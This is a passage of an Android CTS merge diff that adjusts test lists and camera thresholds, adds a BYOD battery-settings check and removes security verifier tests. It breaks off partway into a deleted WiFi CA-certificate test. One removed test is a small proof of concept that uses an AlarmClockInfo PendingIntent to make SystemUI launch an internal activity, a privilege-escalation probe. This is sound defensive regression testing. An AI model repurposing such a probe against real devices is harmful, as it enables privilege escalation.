Merge "Merge "AnimationDrawableTest will fail when AnimationDrawable created from cache" into lollipop-mr1-cts-dev am: 44738771c9" into marshmallow-cts-dev
am: 5483fb6a0e

Change-Id: I8b9195c1a48d0799ebbeef538328e93ad1469d36
diff --git a/CtsTestCaseList.mk b/CtsTestCaseList.mk
index 1dd8e09..6f63cd5 100644
--- a/CtsTestCaseList.mk
+++ b/CtsTestCaseList.mk
@@ -108,7 +108,6 @@
     CtsMonkeyApp2 \
     CtsPackageInstallerApp \
     CtsPermissionApp \
-    CtsPreconditionsApp \
     CtsSimpleApp \
     CtsSimplePreMApp \
     CtsSomeAccessibilityServices \
@@ -279,6 +278,9 @@
     gles3 \
     gles31
 
+cts_device_executables := \
+    CVE-2016-8430
+
 # All the files that will end up under the repository/testcases
 # directory of the final CTS distribution.
 CTS_TEST_CASES := $(call cts-get-lib-paths,$(cts_host_libraries)) \
diff --git a/apps/CameraITS/tests/scene1/test_black_white.py b/apps/CameraITS/tests/scene1/test_black_white.py
index 56bc5ec..68d7de6 100644
--- a/apps/CameraITS/tests/scene1/test_black_white.py
+++ b/apps/CameraITS/tests/scene1/test_black_white.py
@@ -76,9 +76,9 @@
         matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
 
         for val in black_means:
-            assert(val < 0.035)
+            assert(val < 0.025)
         for val in white_means:
-            assert(val > 0.965)
+            assert(val > 0.975)
 
 if __name__ == '__main__':
     main()
diff --git a/apps/CameraITS/tests/scene1/test_exposure.py b/apps/CameraITS/tests/scene1/test_exposure.py
index e448f80..dc4a790 100644
--- a/apps/CameraITS/tests/scene1/test_exposure.py
+++ b/apps/CameraITS/tests/scene1/test_exposure.py
@@ -61,9 +61,8 @@
             mults.append(m)
             s_test = round(s*m)
             e_test = s_e_product / s_test
-            print "Testsing s:", s_test, "e:", e_test
-            req = its.objects.manual_capture_request(
-                    s_test, e_test, True, props)
+            print "Testing s:", s_test, "e:", e_test
+            req = its.objects.manual_capture_request(s_test, e_test, True, props)
             cap = cam.do_capture(req)
             s_res = cap["metadata"]["android.sensor.sensitivity"]
             e_res = cap["metadata"]["android.sensor.exposureTime"]
@@ -113,4 +112,3 @@
 
 if __name__ == '__main__':
     main()
-
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index 18ef8dd..ad78a59 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -41,7 +41,7 @@
 
 LOCAL_PACKAGE_NAME := CtsVerifier
 
-LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni libaudioloopback_jni
+LOCAL_JNI_SHARED_LIBRARIES := libctsverifier_jni
 
 LOCAL_PROGUARD_FLAG_FILES := proguard.flags
 
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index a7578f4..cf5d602 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="com.android.cts.verifier"
       android:versionCode="5"
-      android:versionName="6.0_r21">
+      android:versionName="6.0_r201602s">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="23"/>
 
@@ -380,17 +380,6 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.device_admin" />
         </activity>
-        <activity android:name=".security.WiFiCACertificateBugTest"
-                android:configChanges="keyboardHidden|orientation|screenSize"
-                android:label="@string/sec_wifi_ca_cert_test">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_security"/>
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch"/>
-        </activity>
 
         <activity android:name=".streamquality.StreamingVideoActivity"
                 android:label="@string/streaming_video"
@@ -1153,15 +1142,6 @@
                     android:value="android.software.leanback" />
         </activity>
 
-        <activity android:name=".security.AlarmIntentTest"
-                  android:label="@string/alarmintenttest_title">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_security" />
-        </activity>
-
         <activity android:name=".p2p.GoNegRequesterTestListActivity"
                 android:label="@string/p2p_go_neg_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" />
@@ -1701,7 +1681,6 @@
                     android:value="android.software.live_tv" />
         </activity>
 
-        <!-- Comment out in M due to b/29916035.
         <activity android:name=".tv.TimeShiftTestActivity"
                 android:label="@string/tv_time_shift_test">
             <intent-filter>
@@ -1712,7 +1691,6 @@
             <meta-data android:name="test_required_features"
                     android:value="android.software.live_tv" />
         </activity>
-        -->
 
         <activity android:name=".tv.AppLinkTestActivity"
             android:label="@string/tv_app_link_test"
diff --git a/apps/CtsVerifier/res/layout/activity_alarmintent.xml b/apps/CtsVerifier/res/layout/activity_alarmintent.xml
deleted file mode 100644
index 9b97d2a..0000000
--- a/apps/CtsVerifier/res/layout/activity_alarmintent.xml
+++ /dev/null
@@ -1,150 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:padding="20dp"
-    tools:context=".AlarmIntentTest">
-    <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:scrollbars="vertical">
-        <LinearLayout android:orientation="vertical"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_centerInParent="true">
-            <ImageView
-                android:id="@+id/img1"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:layout_alignParentLeft="true"
-                android:layout_alignParentTop="true"
-                android:contentDescription="@string/pass_button_text"
-                android:padding="10dp"
-                android:src="@drawable/fs_indeterminate"/>
-            <TextView
-                android:id="@+id/set_alarm_info"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_alignParentRight="true"
-                android:layout_alignParentTop="true"
-                android:layout_toRightOf="@+id/img1"
-                android:text="@string/alarmintenttest_set_alarm"/>
-            <Button
-                android:id="@+id/set_alarm"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/set_alarm_info"
-                android:layout_toRightOf="@+id/img1"
-                android:text="@string/set_alarm_btn"/>
-            <ImageView
-                android:id="@+id/img2"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:layout_alignParentLeft="true"
-                android:layout_below="@id/set_alarm"
-                android:layout_marginTop="10dp"
-                android:contentDescription="@string/pass_button_text"
-                android:padding="10dp"
-                android:src="@drawable/fs_indeterminate"/>
-            <TextView
-                android:id="@+id/instructions"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/set_alarm"
-                android:layout_toRightOf="@+id/img2"
-                android:text="@string/alarmintenttest_instructions"/>
-            <TextView
-                android:id="@+id/initialstep"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/instructions"
-                android:layout_toRightOf="@+id/img2"
-                android:text="@string/alarmintenttest_verify_bug"/>
-            <TextView
-                android:id="@+id/point1"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/initialstep"
-                android:layout_toRightOf="@+id/img2"
-                android:paddingRight="2dp"
-                android:text="@string/alarmintenttest_point1"/>
-            <TextView
-                android:id="@+id/instruction1"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_alignParentRight="true"
-                android:layout_below="@+id/initialstep"
-                android:layout_toRightOf="@+id/point1"
-                android:text="@string/alarmintenttest_failcase"/>
-            <TextView
-                android:id="@+id/point2"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/instruction1"
-                android:layout_toRightOf="@+id/img2"
-                android:paddingRight="2dp"
-                android:text="@string/alarmintenttest_point2"/>
-            <TextView
-                android:id="@+id/instruction2"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_alignParentRight="true"
-                android:layout_below="@+id/instruction1"
-                android:layout_toRightOf="@+id/point1"
-                android:text="@string/alarmintenttest_passcase"/>
-            <ImageView
-                android:id="@+id/img3"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:layout_alignParentLeft="true"
-                android:layout_below="@id/instruction2"
-                android:layout_marginTop="10dp"
-                android:contentDescription="@string/pass_button_text"
-                android:padding="10dp"
-                android:src="@drawable/fs_indeterminate"/>
-            <TextView
-                android:id="@+id/calcel_alaem_info"
-                style="@style/InstructionsSmallFont"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/instruction2"
-                android:layout_toRightOf="@+id/img3"
-                android:text="@string/calcel_alarm_info"/>
-            <Button
-                android:id="@+id/cancel_alarm"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/calcel_alaem_info"
-                android:layout_toRightOf="@+id/img3"
-                android:text="@string/cancel_alarm_btn"/>
-            <include
-                layout="@layout/pass_fail_buttons"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_alignParentBottom="true"/>
-        </LinearLayout>
-    </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/ca_certificate_wifi.xml b/apps/CtsVerifier/res/layout/ca_certificate_wifi.xml
deleted file mode 100644
index 9a16e3f..0000000
--- a/apps/CtsVerifier/res/layout/ca_certificate_wifi.xml
+++ /dev/null
@@ -1,173 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:padding="10dip">
-
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        android:layout_above="@+id/pass_fail_buttons">
-
-        <RelativeLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content">
-
-            <LinearLayout
-                android:id="@+id/layout1"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal">
-
-                <ImageView
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:layout_marginTop="10dip"
-                    android:contentDescription="@string/pass_button_text"
-                    android:padding="10dip"
-                    android:src="@drawable/fs_indeterminate"/>
-
-                <TextView
-                    style="@style/InstructionsSmallFont"
-                    android:layout_width="0dp"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-                    android:text="@string/sec_push_ca_certificate_to_device_text"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/transfer_ca_certificate"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/layout1"
-                android:gravity="center"
-                android:text="@string/cacert_do_something"/>
-
-            <LinearLayout
-                android:id="@+id/layout2"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/transfer_ca_certificate">
-
-                <ImageView
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:layout_marginTop="10dip"
-                    android:contentDescription="@string/pass_button_text"
-                    android:padding="10dip"
-                    android:src="@drawable/fs_indeterminate"/>
-
-                <TextView
-                    style="@style/InstructionsSmallFont"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/sec_launch_wifi_settings"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/gotowifisettings"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/layout2"
-                android:gravity="center"
-                android:text="@string/cacert_do_something"/>
-
-            <LinearLayout
-                android:id="@+id/layout3"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/gotowifisettings">
-
-                <ImageView
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:layout_below="@+id/transfer_ca_certificate"
-                    android:layout_marginTop="5dip"
-                    android:contentDescription="@string/pass_button_text"
-                    android:padding="10dip"
-                    android:src="@drawable/fs_indeterminate"/>
-
-                <TextView
-                    style="@style/InstructionsSmallFont"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/sec_certificate_trust_text"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/check_cert_trust"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/layout3"
-                android:gravity="center"
-                android:text="@string/cacert_do_something"/>
-
-            <LinearLayout
-                android:id="@+id/layout4"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/check_cert_trust">
-
-                <ImageView
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:contentDescription="@string/pass_button_text"
-                    android:padding="10dip"
-                    android:src="@drawable/fs_indeterminate"/>
-
-                <TextView
-                    style="@style/InstructionsSmallFont"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/sec_push_ca_certificate_to_device_clearcreds_text"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/gotosettings"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/layout4"
-                android:gravity="center"
-                android:text="@string/cacert_do_something"/>
-
-            <LinearLayout
-                android:id="@+id/layout6"
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:layout_below="@+id/gotosettings">
-
-                <TextView
-                    android:id="@+id/clear_creds_textView"
-                    style="@style/InstructionsSmallFont"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/passfail_instruction"
-                    android:textAlignment="center"/>
-            </LinearLayout>
-
-        </RelativeLayout>
-    </ScrollView>
-
-    <include
-        android:id="@+id/pass_fail_buttons"
-        layout="@layout/pass_fail_buttons"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentBottom="true"/>
-
-</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 5b2eb36..2c85c30 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -147,22 +147,7 @@
     <string name="sec_fp_dialog_message">Authenticate now with fingerprint</string>
     <string name="sec_fp_auth_failed">Authentication failed</string>
     <string name="sec_start_test">Start Test</string>
-    <!--CA certificate Test - CA Certificates installed for WiFi are trusted by whole system-->
-    <string name="sec_wifi_ca_cert_test">WiFi CA Certificate Test</string>
-    <string name="sec_wifi_ca_cert_test_info">This test ensures that the CA certificates installed for WiFi should not be trusted by the whole system</string>
-    <string name="sec_push_ca_certificate_to_device_text">Click on the below button to transfer the Certificate to internal storage of your device.</string>
-    <string name="sec_push_ca_certificate_to_device_clearcreds_text">1. Click on below button to launch the security settings of the device.\n2. Select the Clear Credentials option. Select OK.\n3. Come back to the test case. Proceed to the next step</string>
-    <string name="sec_certificate_trust_text">1. Click on the button below to check if the certificate is trusted or not.</string>
-    <string name="sec_launch_wifi_settings">1. Click on the button below to open Internal Storage.\n2. Browse to \'myCA.cer\' file.\n3. Type \'bug\' in Certificate Name and select WiFi under Credential use dropdown.\n4. Select OK. Come back to the test case.</string>
-    <string name="sec_file_transfer_failed">Failed to transfer the Certificate to the device</string>
-    <string name="sec_file_transferred_text">The certificate has been transferred to the device successfully</string>
-    <string name="sec_cert_nottrusted_text">Certificate not trusted by the system. Proceed to the next step</string>
-    <string name="sec_cert_trusted_text">Certificate trusted by the system. Proceed to the next step</string>
-    <string name="sec_autopass_test_instruction">Please PASS the test case, as there is no way to install a Wi-Fi certificate on the device.</string>
-    <string name="sec_pass_test_instruction">Please PASS the test case, as the certificate is not trusted</string>
-    <string name="sec_fail_test_instruction">Please FAIL the test case, as the certificate is trusted</string>
-    <string name="sec_read_cert_exception">Exception occurred while reading the certificate</string>
-    <string name="passfail_instruction"></string>
+
     <!-- Strings for BluetoothActivity -->
     <string name="bluetooth_test">Bluetooth Test</string>
     <string name="bluetooth_test_info">The Bluetooth Control tests check whether or not the device
@@ -1697,6 +1682,19 @@
         Then use the Back button to return to this test and mark accordingly.
     </string>
 
+    <string name="provisioning_byod_battery_settings">Profile-aware battery settings</string>
+    <string name="provisioning_byod_battery_settings_instruction">
+        Please press the Go button to open Battery page in settings.\n
+        \n
+        Verify that Battery page shows both badged and unbadged apps in the usage list.\n
+        \n
+        Note that the usage list only displays usage since last charge,
+        so you may need to unplug your device and use a badged and unbadged app
+        for a little while before they will appear in the list.\n
+        \n
+        Then use the Back button to return to this test and mark accordingly.
+    </string>
+
     <string name="provisioning_byod_data_usage_settings">Profile-aware data usage settings</string>
     <string name="provisioning_byod_data_usage_settings_instruction">
         Please press the Go button to open the Settings page.\n
@@ -1907,16 +1905,6 @@
             your phone are not and cannot be downloaded through USB.\n
             Please mark the test accordingly.
     </string>
-    <string name="device_owner_set_user_icon">Setting the user icon</string>
-    <string name="device_owner_set_user_icon_instruction">
-        This test verifies that the user icon can be set.\n
-        1. Press the set user icon button.\n
-        2. Press the go button to go to Settings.\n
-        3a. If there is a "users" section in Settings, check that the icon of the user "owner" is the CtsVerifier one and mark this test accordingly.\n
-        3b. If there is no "users" section, mark this test as passed.\n
-    </string>
-    <string name="device_owner_set_user_icon_button">Set user icon</string>
-
     <string name="profile_owner_permission_lockdown_test_info">
         <b>
         Before proceeding, check if com.android.cts.permissionapp (aka CtsPermissionApp) is installed in work profile by going to Settings &gt; Apps. If not, please install the app before proceeding.\n\n
@@ -2332,21 +2320,4 @@
     <string name="audio_frequency_mic_test2_btn">Test 2</string>
     <string name="audio_frequency_mic_results_text">Results...</string>
 
-    <string name="alarmintenttest_title">Alarm Intent Test</string>
-    <string name="alarmintenttest_desc">This test verifies Elevation of Privileges by an
-        external application through setting an alarm using AlarmManager.setAlarmClock (A
-        vulnerability in SystemUI component)</string>
-    <string name="set_alarm_btn">Set alarm</string>
-    <string name="cancel_alarm_btn">Cancel</string>
-    <string name="alarmintenttest_set_alarm">Press SET ALARM below to set an Alarm</string>
-    <string name="alarmintenttest_instructions">Instructions to verify the bug:</string>
-    <string name="alarmintenttest_verify_bug">Click on alarm description near date in quick
-        settings</string>
-    <string name="alarmintenttest_point1">1.</string>
-    <string name="alarmintenttest_failcase">If a new activity(PlatLogoActivity) is
-        launched, please fail the test case</string>
-    <string name="alarmintenttest_point2">2.</string>
-    <string name="alarmintenttest_passcase">If nothing is happening after clicking on alarm
-        description, please pass the test case </string>
-    <string name="calcel_alarm_info">Click on Cancel below to cancel the Alarm</string>
 </resources>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 0e7bca4..2148c83 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -70,6 +70,7 @@
     private DialogTestListItem mWorkStatusBarToastTest;
     private DialogTestListItem mAppSettingsVisibleTest;
     private DialogTestListItem mLocationSettingsVisibleTest;
+    private DialogTestListItem mBatterySettingsVisibleTest;
     private DialogTestListItem mDataUsageSettingsVisibleTest;
     private DialogTestListItem mCredSettingsVisibleTest;
     private DialogTestListItem mPrintSettingsVisibleTest;
@@ -255,6 +256,12 @@
                 R.string.provisioning_byod_location_settings_instruction,
                 new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS));
 
+        mBatterySettingsVisibleTest = new DialogTestListItem(this,
+                R.string.provisioning_byod_battery_settings,
+                "BYOD_BatterySettingsVisibleTest",
+                R.string.provisioning_byod_battery_settings_instruction,
+                new Intent(Intent.ACTION_POWER_USAGE_SUMMARY));
+
         mDataUsageSettingsVisibleTest = new DialogTestListItem(this,
                 R.string.provisioning_byod_data_usage_settings,
                 "BYOD_DataUsageSettingsVisibleTest",
@@ -341,6 +348,7 @@
         adapter.add(mCredSettingsVisibleTest);
         adapter.add(mAppSettingsVisibleTest);
         adapter.add(mLocationSettingsVisibleTest);
+        adapter.add(mBatterySettingsVisibleTest);
         adapter.add(mDataUsageSettingsVisibleTest);
         adapter.add(mPrintSettingsVisibleTest);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 9c3afb1..2f8adbe 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -24,7 +24,6 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
-import android.graphics.BitmapFactory;
 import android.os.Bundle;
 import android.os.UserManager;
 import android.provider.Settings;
@@ -65,7 +64,6 @@
     static final String COMMAND_SET_STATUSBAR_DISABLED = "set-statusbar-disabled";
     static final String COMMAND_SET_KEYGUARD_DISABLED = "set-keyguard-disabled";
     static final String COMMAND_CHECK_PERMISSION_LOCKDOWN = "check-permission-lockdown";
-    static final String COMMAND_SET_USER_ICON = "set-user-icon";
     static final String EXTRA_SETTING = "extra-setting";
 
     private static final String CHECK_DEVICE_OWNER_TEST_ID = "CHECK_DEVICE_OWNER";
@@ -79,7 +77,6 @@
     private static final String DISALLOW_CONFIG_WIFI_ID = "DISALLOW_CONFIG_WIFI";
     private static final String DISALLOW_CONFIG_VPN_ID = "DISALLOW_CONFIG_VPN";
     private static final String DISALLOW_USB_FILE_TRANSFER_ID = "DISALLOW_USB_FILE_TRANSFER";
-    private static final String SET_USER_ICON_TEST_ID = "SET_USER_ICON";
     //TODO(rgl): This symbol should be available in android.provider.settings
     private static final String ACTION_VPN_SETTINGS = "android.net.vpn.SETTINGS";
     private static final String REMOVE_DEVICE_OWNER_TEST_ID = "REMOVE_DEVICE_OWNER";
@@ -236,17 +233,6 @@
                                 createDeviceOwnerIntentWithBooleanParameter(
                                         COMMAND_SET_KEYGUARD_DISABLED, false))}));
 
-        adapter.add(createInteractiveTestItem(this, SET_USER_ICON_TEST_ID,
-                R.string.device_owner_set_user_icon,
-                R.string.device_owner_set_user_icon_instruction,
-                new ButtonInfo[] {
-                        new ButtonInfo(
-                                R.string.device_owner_set_user_icon_button,
-                                createSetUserIconIntent()),
-                        new ButtonInfo(
-                                R.string.device_owner_settings_go,
-                                new Intent(Settings.ACTION_SETTINGS))}));
-
         // setPermissionGrantState
         adapter.add(createTestItem(this, CHECK_PERMISSION_LOCKDOWN_TEST_ID,
                 R.string.device_profile_owner_permission_lockdown_test,
@@ -299,11 +285,6 @@
                 .putExtra(EXTRA_RESTRICTION, restriction);
     }
 
-    private Intent createSetUserIconIntent() {
-        return new Intent(this, CommandReceiver.class)
-                .putExtra(EXTRA_COMMAND, COMMAND_SET_USER_ICON);
-    }
-
     public static class CommandReceiver extends Activity {
         @Override
         public void onCreate(Bundle savedInstanceState) {
@@ -347,12 +328,6 @@
                         TestResult.setFailedResult(this, intent.getStringExtra(EXTRA_TEST_ID),
                                 getString(R.string.device_owner_incorrect_device_owner), null);
                     }
-                } else if (COMMAND_SET_USER_ICON.equals(command)) {
-                    if (!dpm.isDeviceOwnerApp(getPackageName())) {
-                        return;
-                    }
-                    dpm.setUserIcon(admin, BitmapFactory.decodeResource(getResources(),
-                            com.android.cts.verifier.R.drawable.icon));
                 } else {
                     Log.e(TAG, "Invalid command: " + command);
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/AlarmIntentTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/AlarmIntentTest.java
deleted file mode 100644
index fd0b0a7..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/AlarmIntentTest.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.security;
-
-import android.app.Activity;
-import android.app.AlarmManager;
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.view.View;
-import android.widget.Button;
-import android.widget.ImageView;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.Date;
-
-public class AlarmIntentTest extends PassFailButtons.Activity {
-
-    // Just for cancelling alarm
-    private PendingIntent mAlarmIntent;
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_alarmintent);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.alarmintenttest_title, R.string.alarmintenttest_desc, -1);
-        mAlarmIntent = PendingIntent.getBroadcast(this, 0, new Intent("alarm_going_off"), 0);
-
-        Button setAlarm = (Button) findViewById(R.id.set_alarm);
-        setAlarm.setOnClickListener(new View.OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                ImageView view1 = (ImageView) findViewById(R.id.img1);
-                setAlarm();
-                view1.setImageResource(R.drawable.fs_good);
-            }
-        });
-
-        Button cancelAlarm = (Button) findViewById(R.id.cancel_alarm);
-        cancelAlarm.setOnClickListener(new View.OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                ImageView view2 = (ImageView) findViewById(R.id.img2);
-                ImageView view3 = (ImageView) findViewById(R.id.img3);
-                cancelAlarm();
-                view2.setImageResource(R.drawable.fs_good);
-                view3.setImageResource(R.drawable.fs_good);
-            }
-        });
-    }
-
-    public void setAlarm() {
-        PendingIntent editAlarmIntent = PendingIntent.getActivity(this, 0, new Intent().
-                setClassName("android", "com.android.internal.app.PlatLogoActivity"), 0);
-
-        // Set the alarm
-        AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
-        alarmManager.setAlarmClock(new AlarmManager.AlarmClockInfo(
-                new Date().getTime() + 1000 * 60 * 5, editAlarmIntent), mAlarmIntent);
-        // Alarm intent(mAlarmIntent) is irrelevant here, just for cancelling
-    }
-
-    public void cancelAlarm() {
-        AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
-        alarmManager.cancel(mAlarmIntent);
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/WiFiCACertificateBugTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/WiFiCACertificateBugTest.java
deleted file mode 100644
index 56429fe..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/WiFiCACertificateBugTest.java
+++ /dev/null
@@ -1,266 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.security;
-
-import android.app.AlertDialog;
-import android.app.KeyguardManager;
-import android.content.DialogInterface;
-import android.content.Intent;
-import android.os.Bundle;
-import android.security.KeyChain;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.TextView;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.security.GeneralSecurityException;
-import java.security.KeyStore;
-import java.security.KeyStoreException;
-import java.security.NoSuchAlgorithmException;
-import java.security.cert.Certificate;
